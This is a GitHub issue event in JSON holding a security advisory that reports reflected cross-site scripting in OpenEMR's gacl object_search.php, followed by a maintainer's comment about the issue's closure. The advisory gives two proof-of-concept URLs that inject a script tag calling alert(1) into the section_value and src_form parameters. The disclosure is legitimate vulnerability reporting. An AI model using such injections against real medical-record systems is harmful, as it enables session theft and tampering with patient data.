{"action":"created","issue":{"url":"https://api.github.com/repos/openemr/openemr/issues/498","repository_url":"https://api.github.com/repos/openemr/openemr","labels_url":"https://api.github.com/repos/openemr/openemr/issues/498/labels{/name}","comments_url":"https://api.github.com/repos/openemr/openemr/issues/498/comments","events_url":"https://api.github.com/repos/openemr/openemr/issues/498/events","html_url":"https://github.com/openemr/openemr/issues/498","id":210552714,"number":498,"title":"OpenEMR (lastest version)- Multiple Cross-Site Scripting (XSS)","user":{"login":"bestshow","id":5211744,"avatar_url":"https://avatars2.githubusercontent.com/u/5211744?v=3","gravatar_id":"","url":"https://api.github.com/users/bestshow","html_url":"https://github.com/bestshow","followers_url":"https://api.github.com/users/bestshow/followers","following_url":"https://api.github.com/users/bestshow/following{/other_user}","gists_url":"https://api.github.com/users/bestshow/gists{/gist_id}","starred_url":"https://api.github.com/users/bestshow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bestshow/subscriptions","organizations_url":"https://api.github.com/users/bestshow/orgs","repos_url":"https://api.github.com/users/bestshow/repos","events_url":"https://api.github.com/users/bestshow/events{/privacy}","received_events_url":"https://api.github.com/users/bestshow/received_events","type":"User","site_admin":false},"labels":[{"id":448001117,"url":"https://api.github.com/repos/openemr/openemr/labels/Priority:%20Blocking","name":"Priority: Blocking","color":"d93f0b","default":false},{"id":549217579,"url":"https://api.github.com/repos/openemr/openemr/labels/Security","name":"Security","color":"b60205","default":false}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2017-02-27T17:30:54Z","updated_at":"2017-05-31T06:43:01Z","closed_at":"2017-05-31T05:34:33Z","body":"Product：OpenEMR\r\nDownload: https://github.com/openemr/openemr\r\nVunlerable Version: lastest version and probably prior\r\nTested Version: lastest version\r\nAuthor: ADLab of Venustech\r\n\r\nAdvisory Details:\r\nI have discovered multiple Cross-Site Scripting (XSS) in “OpenEMR”, which can be exploited to execute arbitrary code.\r\nThe vulnerability exists due to insufficient filtration of user-supplied data in multiple HTTP GET parameters passed to “openemr-master/gacl/admin/object_search.php” url. An attacker could execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\nThe exploitation examples below use the \"alert()\" JavaScript function to see a  pop-up messagebox:\r\nPoc:\r\n(1)\r\nhttp://localhost/github1/zip/openemr_master/openemr-master/gacl/admin/object_search.php?section_value=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22\r\n(2)\r\nhttp://localhost/github1/zip/openemr_master/openemr-master/gacl/admin/object_search.php?src_form=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22\r\n"},"comment":{"url":"https://api.github.com/repos/openemr/openemr/issues/comments/305099160","html_url":"https://github.com/openemr/openemr/issues/498#issuecomment-305099160","issue_url":"https://api.github.com/repos/openemr/openemr/issues/498","id":305099160,"user":{"login":"bradymiller","id":278968,"avatar_url":"https://avatars2.githubusercontent.com/u/278968?v=3","gravatar_id":"","url":"https://api.github.com/users/bradymiller","html_url":"https://github.com/bradymiller","followers_url":"https://api.github.com/users/bradymiller/followers","following_url":"https://api.github.com/users/bradymiller/following{/other_user}","gists_url":"https://api.github.com/users/bradymiller/gists{/gist_id}","starred_url":"https://api.github.com/users/bradymiller/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bradymiller/subscriptions","organizations_url":"https://api.github.com/users/bradymiller/orgs","repos_url":"https://api.github.com/users/bradymiller/repos","events_url":"https://api.github.com/users/bradymiller/events{/privacy}","received_events_url":"https://api.github.com/users/bradymiller/received_events","type":"User","site_admin":false},"created_at":"2017-05-31T06:43:01Z","updated_at":"2017-05-31T06:43:01Z","body":"@bestshow ,\r\nJust checking why this was closed?\r\nthanks,\r\n-brady"}}
{"actor":{"display_login":"bradymiller"}}